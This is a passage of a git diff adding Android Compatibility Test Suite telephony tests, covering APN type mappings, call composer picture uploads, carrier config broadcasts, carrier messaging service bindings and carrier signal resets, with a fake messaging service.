+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_SUPL_STRING, ApnSetting.TYPE_SUPL);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_DUN_STRING, ApnSetting.TYPE_DUN);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_HIPRI_STRING, ApnSetting.TYPE_HIPRI);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_FOTA_STRING, ApnSetting.TYPE_FOTA);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_IMS_STRING, ApnSetting.TYPE_IMS);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_CBS_STRING, ApnSetting.TYPE_CBS);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_IA_STRING, ApnSetting.TYPE_IA);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_EMERGENCY_STRING, ApnSetting.TYPE_EMERGENCY);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_MCX_STRING, ApnSetting.TYPE_MCX);
+        EXPECTED_STRING_TO_INT_MAP.put(ApnSetting.TYPE_XCAP_STRING, ApnSetting.TYPE_XCAP);
+
+        EXPECTED_INT_TO_STRING_MAP = new ArrayMap<>();
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_DEFAULT, ApnSetting.TYPE_DEFAULT_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_MMS, ApnSetting.TYPE_MMS_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_SUPL, ApnSetting.TYPE_SUPL_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_DUN, ApnSetting.TYPE_DUN_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_HIPRI, ApnSetting.TYPE_HIPRI_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_FOTA, ApnSetting.TYPE_FOTA_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_IMS, ApnSetting.TYPE_IMS_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_CBS, ApnSetting.TYPE_CBS_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_IA, ApnSetting.TYPE_IA_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_EMERGENCY, ApnSetting.TYPE_EMERGENCY_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_MCX, ApnSetting.TYPE_MCX_STRING);
+        EXPECTED_INT_TO_STRING_MAP.put(ApnSetting.TYPE_XCAP, ApnSetting.TYPE_XCAP_STRING);
     }
 
     @Test
-    public void testGetApnTypesStringFromBitmaskWithSingleValue() {
-        String value = ApnSetting.getApnTypesStringFromBitmask(ApnSetting.TYPE_DUN);
-        assertEquals(value, "dun");
+    public void testIntToString() {
+        for (Map.Entry<Integer, String> e : EXPECTED_INT_TO_STRING_MAP.entrySet()) {
+            assertEquals(e.getValue(), ApnSetting.getApnTypeString(e.getKey()));
+        }
     }
 
     @Test
-    public void testGetApnTypesStringFromBitmaskWithSeveralValues() {
-        String value = ApnSetting.getApnTypesStringFromBitmask(ApnSetting.TYPE_MCX
-                | ApnSetting.TYPE_DUN | ApnSetting.TYPE_EMERGENCY);
-        assertEquals(value, "dun,emergency,mcx");
+    public void testStringToInt() {
+        for (Map.Entry<String, Integer> e : EXPECTED_STRING_TO_INT_MAP.entrySet()) {
+            assertEquals((int) e.getValue(), ApnSetting.getApnTypeInt(e.getKey()));
+        }
     }
 }
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
new file mode 100644
index 0000000..4b67468
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CallComposerTest.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.OutcomeReceiver;
+import android.os.ParcelFileDescriptor;
+import android.os.ParcelUuid;
+import android.os.UserHandle;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+import android.util.Pair;
+
+import androidx.annotation.NonNull;
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.StandardOpenOption;
+import java.util.UUID;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.Executors;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class CallComposerTest {
+    private static final String TEST_FILE_NAME = "red_velvet_cupcake.png";
+    private static final String TEST_FILE_CONTENT_TYPE = "image/png";
+    private static final long TEST_TIMEOUT_MILLIS = 5000;
+
+    private String mPreviousDefaultDialer;
+    private Context mContext;
+    private boolean mPreviousTestMode;
+
+    @Rule
+    public final RequiredFeatureRule mTelephonyRequiredRule =
+            new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY);
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        overrideDefaultDialer();
+        mPreviousTestMode = Boolean.parseBoolean(
+                TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                        "cmd phone callcomposer test-mode query"));
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd phone callcomposer test-mode enable");
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        restoreDefaultDialer();
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd phone callcomposer test-mode "
+                        + (mPreviousTestMode ? "enable" : "disable"));
+        Files.deleteIfExists(mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME));
+    }
+
+    @Test
+    public void testUploadPictureWithFile() throws Exception {
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        byte[] imageData = getSamplePictureAsBytes();
+        Files.write(testFile, imageData);
+
+        UUID handle = pictureUploadHelper(testFile, null, -1);
+        checkStoredData(handle, imageData);
+    }
+
+    @Test
+    public void testUploadPictureAsStream() throws Exception {
+        byte[] imageData = getSamplePictureAsBytes();
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(imageData);
+
+        UUID handle = pictureUploadHelper(null, inputStream, -1);
+        checkStoredData(handle, imageData);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsFile() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        Path testFile = mContext.getFilesDir().toPath().resolve(TEST_FILE_NAME);
+        Files.write(testFile, paddedData);
+
+        pictureUploadHelper(testFile, null,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    @Test
+    public void testExcessivelyLargePictureAsStream() throws Exception {
+        int targetSize = (int) TelephonyManager.getMaximumCallComposerPictureSize() + 1;
+        byte[] imageData = getSamplePictureAsBytes();
+        byte[] paddedData = new byte[targetSize];
+        System.arraycopy(imageData, 0, paddedData, 0, imageData.length);
+        ByteArrayInputStream inputStream = new ByteArrayInputStream(paddedData);
+
+        pictureUploadHelper(null, inputStream,
+                TelephonyManager.CallComposerException.ERROR_FILE_TOO_LARGE);
+    }
+
+    private UUID pictureUploadHelper(Path inputFile, InputStream inputStream,
+            int expectedErrorCode) throws Exception {
+        TelephonyManager tm = mContext.getSystemService(TelephonyManager.class);
+        CompletableFuture<Pair<ParcelUuid, TelephonyManager.CallComposerException>> resultFuture =
+                new CompletableFuture<>();
+        OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException> callback =
+                new OutcomeReceiver<ParcelUuid, TelephonyManager.CallComposerException>() {
+                    @Override
+                    public void onResult(@NonNull ParcelUuid result) {
+                        resultFuture.complete(Pair.create(result, null));
+                    }
+
+                    @Override
+                    public void onError(TelephonyManager.CallComposerException error) {
+                        resultFuture.complete(Pair.create(null, error));
+                    }
+        };
+
+        if (inputFile != null) {
+            tm.uploadCallComposerPicture(inputFile, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        } else {
+            tm.uploadCallComposerPicture(inputStream, TEST_FILE_CONTENT_TYPE,
+                    Executors.newSingleThreadExecutor(), callback);
+        }
+
+        Pair<ParcelUuid, TelephonyManager.CallComposerException> result;
+        try {
+            result = resultFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        } catch (TimeoutException e) {
+            fail("Timed out waiting for response from TelephonyManager");
+            return null;
+        }
+
+        if (result.second != null && expectedErrorCode < 0) {
+            String error = TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            fail("Upload failed with " + error
+                    + "\nIOException: " + result.second.getIOException());
+        } else if (expectedErrorCode >= 0) {
+            String expectedError = TelephonyUtils.parseErrorCodeToString(expectedErrorCode,
+                    TelephonyManager.CallComposerException.class, "ERROR_");
+            if (result.second == null) {
+                fail("Did not get the expected error: " + expectedError);
+            } else if (result.first != null) {
+                fail("Got a UUID from Telephony when we expected " + expectedError);
+            } else if (result.second.getErrorCode() != expectedErrorCode) {
+                String observedError =
+                        TelephonyUtils.parseErrorCodeToString(result.second.getErrorCode(),
+                                TelephonyManager.CallComposerException.class, "ERROR_");
+                fail("Expected " + expectedError + ", got " + observedError);
+            }
+            // If we expected an error, the test ends here
+            return null;
+        }
+
+        assertNotNull(result.first);
+
+        // Make sure that any file descriptors opened to the test file have been closed.
+        if (inputFile != null) {
+            try {
+                Files.newOutputStream(inputFile, StandardOpenOption.WRITE,
+                        StandardOpenOption.APPEND).close();
+            } catch (IOException e) {
+                fail("Couldn't open+close the file after upload -- leaked fd? " + e);
+            }
+        }
+        return result.first.getUuid();
+    }
+
+    private void checkStoredData(UUID handle, byte[] expectedData) throws Exception {
+        String storageUri =
+                TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                        "cmd phone callcomposer simulate-outgoing-call "
+                                + SubscriptionManager.getDefaultSubscriptionId() + " "
+                                + handle.toString());
+        ParcelFileDescriptor pfd =
+                mContext.getContentResolver().openFile(Uri.parse(storageUri), "r", null);
+
+        byte[] readBytes;
+        try (InputStream is = new ParcelFileDescriptor.AutoCloseInputStream(pfd)) {
+            readBytes = readBytes(is);
+        }
+        assertArrayEquals(expectedData, readBytes);
+    }
+
+    private byte[] getSamplePictureAsBytes() throws Exception {
+        InputStream resourceInput = mContext.getResources().openRawResource(R.drawable.cupcake);
+        return readBytes(resourceInput);
+    }
+
+    private static byte[] readBytes(InputStream inputStream) throws Exception {
+        byte[] buffer = new byte[1024];
+        ByteArrayOutputStream output = new ByteArrayOutputStream();
+        int numRead;
+        do {
+            numRead = inputStream.read(buffer);
+            if (numRead > 0) output.write(buffer, 0, numRead);
+        } while (numRead > 0);
+        return output.toByteArray();
+    }
+
+    private void overrideDefaultDialer() throws Exception {
+        mPreviousDefaultDialer = TelephonyUtils.executeShellCommand(
+                InstrumentationRegistry.getInstrumentation(), "telecom get-default-dialer");
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mContext.getPackageName());
+    }
+
+    private void restoreDefaultDialer() throws Exception {
+        TelephonyUtils.executeShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "cmd role add-role-holder --user " + UserHandle.myUserId()
+                        + " android.app.role.DIALER " + mPreviousDefaultDialer);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index 05f4023..97c8a51 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -38,7 +38,10 @@
 
 
 import android.app.UiAutomation;
+import android.content.BroadcastReceiver;
 import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Looper;
@@ -57,6 +60,8 @@
 import org.junit.Test;
 
 import java.io.IOException;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
@@ -318,6 +323,46 @@
     }
 
     @Test
+    public void testExtraRebroadcastOnUnlock() throws Throwable {
+        if (!hasTelephony()) {
+            return;
+        }
+
+        BlockingQueue<Boolean> queue = new ArrayBlockingQueue<Boolean>(5);
+        BroadcastReceiver receiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED.equals(intent.getAction())) {
+                    queue.add(new Boolean(true));
+                    // verify that REBROADCAST_ON_UNLOCK is populated
+                    assertFalse(
+                            intent.getBooleanExtra(CarrierConfigManager.EXTRA_REBROADCAST_ON_UNLOCK,
+                            true));
+                }
+            }
+        };
+
+        try {
+            final IntentFilter filter =
+                    new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
+            getContext().registerReceiver(receiver, filter);
+
+            // verify that carrier config is received
+            int subId = SubscriptionManager.getDefaultSubscriptionId();
+            getInstrumentation().getUiAutomation().adoptShellPermissionIdentity();
+            mConfigManager.notifyConfigChangedForSubId(subId);
+
+            Boolean broadcastReceived = queue.poll(BROADCAST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+            assertNotNull(broadcastReceived);
+            assertTrue(broadcastReceived);
+        } finally {
+            // unregister receiver
+            getContext().unregisterReceiver(receiver);
+            receiver = null;
+        }
+    }
+
+    @Test
     public void testGetConfigByComponentForSubId() {
         PersistableBundle config =
                 mConfigManager.getConfigByComponentForSubId(
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierMessagingServiceWrapperTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierMessagingServiceWrapperTest.java
new file mode 100644
index 0000000..4f4f96e
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierMessagingServiceWrapperTest.java
@@ -0,0 +1,242 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import static android.telephony.cts.FakeCarrierMessagingService.FAKE_MESSAGE_REF;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.eq;
+
+import android.content.Context;
+import android.net.Uri;
+import android.service.carrier.CarrierMessagingService;
+import android.service.carrier.CarrierMessagingServiceWrapper;
+import android.service.carrier.MessagePdu;
+import android.telephony.SmsMessage;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.mockito.Mock;
+import org.mockito.Mockito;
+import org.mockito.MockitoAnnotations;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+/**
+ * Build, install and run the tests by running the commands below:
+ *  make cts -j64
+ *  cts-tradefed run cts -m CtsTelephonyTestCases --test android.telephony.cts.
+ *  CarrierMessagingServiceWrapperTest
+ */
+public class CarrierMessagingServiceWrapperTest {
+    private TelephonyManager mTelephonyManager;
+    private int mTestSub;
+    private Context mContext;
+    private CarrierMessagingServiceWrapper mServiceWrapper;
+    private CompletableFuture<Void> mServiceReadyFuture = new CompletableFuture<>();
+    private Runnable mOnServiceReadyCallback = () -> mServiceReadyFuture.complete(null);
+    private String mPdu = "07916164260220F0040B914151245584F600006060605130308A04D4F29C0E";
+    private static final int TIMEOUT_IN_MS = 1000;
+    @Mock
+    private CarrierMessagingServiceWrapper.CarrierMessagingCallback mCallback;
+
+    private static Context getContext() {
+        return InstrumentationRegistry.getContext();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        MockitoAnnotations.initMocks(this);
+        mContext = getContext();
+        mTestSub = SubscriptionManager.getDefaultSubscriptionId();
+        mTelephonyManager = mContext.getSystemService(TelephonyManager.class)
+                .createForSubscriptionId(mTestSub);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mServiceWrapper != null) mServiceWrapper.disconnect();
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Tests that the device properly connects to available CarrierMessagingServices.
+     */
+    @Test
+    public void testConnectToMessagingServiceWrapper() {
+        String packageName = "android.telephony.cts";
+        mServiceWrapper = new CarrierMessagingServiceWrapper();
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.BIND_CARRIER_SERVICES");
+        boolean bindResult = mServiceWrapper.bindToCarrierMessagingService(
+                mContext, packageName, Runnable::run, mOnServiceReadyCallback);
+        assertTrue(bindResult);
+
+        waitForServiceReady("Service " + packageName + " should be ready.");
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can receive sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testReceiveSms() {
+        testConnectToMessagingServiceWrapper();
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.receiveSms(new MessagePdu(Arrays.asList(
+                TelephonyUtils.hexStringToByteArray(mPdu))), SmsMessage.FORMAT_3GPP, -1,
+                mTestSub, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onReceiveSmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send text sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendTextSms() {
+        testConnectToMessagingServiceWrapper();
+
+        String destAddress = getPhoneNumber();
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendTextSms("Testing CarrierMessagingService#sendTextSms", mTestSub,
+                destAddress, 0, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendSmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT, FAKE_MESSAGE_REF);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send data sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendDataSms() {
+        testConnectToMessagingServiceWrapper();
+
+        String destAddress = getPhoneNumber();
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendDataSms(TelephonyUtils.hexStringToByteArray(
+                "0123abcABC"), mTestSub,
+                destAddress, -1, 0,  Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendSmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT, FAKE_MESSAGE_REF);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send multipart sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendMultipartTextSms() {
+        testConnectToMessagingServiceWrapper();
+
+        String destAddress = getPhoneNumber();
+
+        List<String> multipartTextSms = Arrays.asList(
+                "Testing CarrierMessagingService#sendMultipartTextSms#part1",
+                "Testing CarrierMessagingService#sendMultipartTextSms#part2");
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendMultipartTextSms(multipartTextSms, mTestSub,
+                destAddress, 0,  Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendMultipartSmsComplete(
+                eq(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT),
+                eq(new int[] {FAKE_MESSAGE_REF}));
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send data sms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testDownloadMms() {
+        testConnectToMessagingServiceWrapper();
+        Uri fakeUri = Uri.parse("fakeUriString");
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.downloadMms(fakeUri, mTestSub, fakeUri, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onDownloadMmsComplete(
+                CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+    }
+
+    /**
+     * Tests that the device the all CarrierMessagingServices can send mms and
+     * triggers valid callback.
+     */
+    @Test
+    public void testSendMms() {
+        testConnectToMessagingServiceWrapper();
+        Uri fakeUri = Uri.parse("fakeUriString");
+
+        Mockito.reset(mCallback);
+        mServiceWrapper.sendMms(fakeUri, mTestSub, fakeUri, Runnable::run, mCallback);
+        // Currently we just check if any result is returned. We don't test it being
+        // successful.
+        Mockito.verify(mCallback, Mockito.timeout(TIMEOUT_IN_MS)).onSendMmsComplete(
+                eq(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT), any());
+    }
+
+    private boolean isServiceReady() {
+        return (mServiceReadyFuture != null && mServiceReadyFuture.isDone());
+    }
+
+    private String mPhoneNumber;
+
+    private String getPhoneNumber() {
+        if (mPhoneNumber == null) mPhoneNumber = mTelephonyManager.getLine1Number();
+        return mPhoneNumber;
+    }
+
+    private void waitForServiceReady(String failMessage) {
+        try {
+            mServiceReadyFuture.get(CarrierMessagingServiceWrapperTest.TIMEOUT_IN_MS,
+                    TimeUnit.MILLISECONDS);
+        } catch (InterruptedException | ExecutionException e) {
+            assertTrue(isServiceReady());
+        } catch (TimeoutException e) {
+            fail(failMessage + " within "
+                    + CarrierMessagingServiceWrapperTest.TIMEOUT_IN_MS + " ms.");
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java
new file mode 100644
index 0000000..2859cd2
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierSignalTest.java
@@ -0,0 +1,115 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
+import android.os.PersistableBundle;
+import android.telephony.CarrierConfigManager;
+import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.RequiredFeatureRule;
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+public class CarrierSignalTest {
+    private class TestReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            mIntentFuture.complete(intent);
+        }
+    }
+
+    @Rule
+    public final RequiredFeatureRule mTelephonyRequiredRule =
+            new RequiredFeatureRule(PackageManager.FEATURE_TELEPHONY);
+
+    private static final int TEST_TIMEOUT_MILLIS = 5000;
+    private Context mContext;
+    private CarrierConfigManager mCarrierConfigManager;
+    private int mTestSub;
+    private CompletableFuture<Intent> mIntentFuture = new CompletableFuture<>();
+    private final TestReceiver mReceiver = new TestReceiver();
+
+    @Before
+    public void setUp() throws Exception {
+        mContext = InstrumentationRegistry.getContext();
+        mCarrierConfigManager = mContext.getSystemService(CarrierConfigManager.class);
+        mTestSub = SubscriptionManager.getDefaultSubscriptionId();
+
+        String[] carrierConfigData = new String[] {
+                new ComponentName(mContext.getPackageName(),
+                        mReceiver.getClass().getName()).flattenToString()
+                        + ":"
+                        // add more actions here as tests increase.
+                        + String.join(",", TelephonyManager.ACTION_CARRIER_SIGNAL_RESET)
+        };
+        PersistableBundle b = new PersistableBundle();
+        b.putStringArray(CarrierConfigManager.KEY_CARRIER_APP_NO_WAKE_SIGNAL_CONFIG_STRING_ARRAY,
+                carrierConfigData);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mCarrierConfigManager,
+                (cm) -> cm.overrideConfig(mTestSub, b));
+        // We have no way of knowing when CarrierSignalAgent processes this broadcast, so sleep
+        // and hope for the best.
+        Thread.sleep(1000);
+    }
+
+    @After
+    public void tearDown() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mCarrierConfigManager,
+                (cm) -> cm.overrideConfig(mTestSub, null));
+        ConnectivityManager cm = mContext.getSystemService(ConnectivityManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(cm,
+                x -> x.setAirplaneMode(false));
+        try {
+            mContext.unregisterReceiver(mReceiver);
+        } catch (Throwable t) { }
+    }
+
+    @Test
+    public void testResetBroadcast() throws Exception {
+        mIntentFuture = new CompletableFuture<>();
+        mContext.registerReceiver(mReceiver,
+                new IntentFilter(TelephonyManager.ACTION_CARRIER_SIGNAL_RESET));
+
+        // Enable airplane mode to force the reset action
+        ConnectivityManager cm = mContext.getSystemService(ConnectivityManager.class);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(cm,
+                x -> x.setAirplaneMode(true));
+
+        Intent receivedIntent = mIntentFuture.get(TEST_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        assertEquals(mTestSub,
+                receivedIntent.getIntExtra(SubscriptionManager.EXTRA_SUBSCRIPTION_INDEX, -1));
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/FakeCarrierMessagingService.java b/tests/tests/telephony/current/src/android/telephony/cts/FakeCarrierMessagingService.java
new file mode 100644
index 0000000..068a465
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/FakeCarrierMessagingService.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.telephony.cts;
+
+import android.net.Uri;
+import android.os.RemoteException;
+import android.service.carrier.CarrierMessagingService;
+import android.service.carrier.MessagePdu;
+
+import java.util.List;
+
+/**
+ * The class that serves as a fake CarrierMessagingService. It allows
+ * CarrierMessagingServiceWrapperTest to connect to and test against.
+ */
+public class FakeCarrierMessagingService extends CarrierMessagingService {
+    public static int FAKE_MESSAGE_REF = 1;
+    @Override
+    public void onReceiveTextSms(MessagePdu pdu, String format, int destPort,
+            int subId, ResultCallback<Integer> callback) {
+        try {
+            callback.onReceiveResult(CarrierMessagingService.RECEIVE_OPTIONS_DEFAULT);
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendTextSms(String text, int subId, String destAddress,
+            int sendSmsFlag, ResultCallback<SendSmsResult> callback) {
+        try {
+            callback.onReceiveResult(new SendSmsResult(SEND_STATUS_OK, FAKE_MESSAGE_REF));
+        } catch (RemoteException ex) {
+        }
+    }
+
+    @Override
+    public void onSendDataSms(byte[] data, int subId, String destAddress,
